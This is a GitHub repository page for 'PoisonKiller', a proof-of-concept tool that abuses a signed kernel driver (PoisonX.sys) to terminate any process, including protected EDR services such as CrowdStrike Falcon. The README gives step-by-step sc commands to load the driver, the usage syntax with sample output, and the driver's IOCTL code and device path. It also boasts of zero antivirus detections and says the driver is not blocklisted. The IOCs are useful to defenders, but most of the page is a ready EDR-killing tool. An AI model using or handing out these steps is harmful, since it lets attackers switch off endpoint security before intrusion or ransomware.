Skip to content

WareOrg/PoisonKiller

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 
 
 
 
 

Repository files navigation

PoisonKiller

Yet another POC for a kernel-mode process killer discovered during BYOVD research. Uses a signed Microsoft driver (PoisonX.sys) that exposes an IOCTL interface capable of terminating any process including PPL-protected EDR services like CrowdStrike Falcon.

0/71 detections on VirusTotal. Valid Microsoft signature. Not blocklisted.

Discovered by @j3h4ck

Technical Details

Full reverse engineering writeup, IDA analysis, and driver internals: Reverse Engineering a 0day used Against CrowdStrike EDR

Loading the Driver

Open a command prompt as Administrator and run:

sc create PoisonX type= kernel binPath= C:\full\path\to\PoisonX.sys
sc start PoisonX

To stop and remove it:

sc stop PoisonX
sc delete PoisonX

Running the POC

PoisonKiller.exe <PID>

Example:

PoisonKiller.exe 5140

[*] Target PID: 5140
[+] Device opened
[*] Sending kill command...
[*] Driver response: ok
[+] Process terminated

IOCs

Property Value
Device path \\.\{F8284233-48F4-4680-ADDD-F8284233}
IOCTL 0x22E010
Signer Microsoft Windows Hardware Compatibility Publisher
Sign date 2025-03-25

For educational and research purposes only.

About

Another BYOVD process killer. works on CrowdStrike. fully signed.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages

  • C++ 100.0%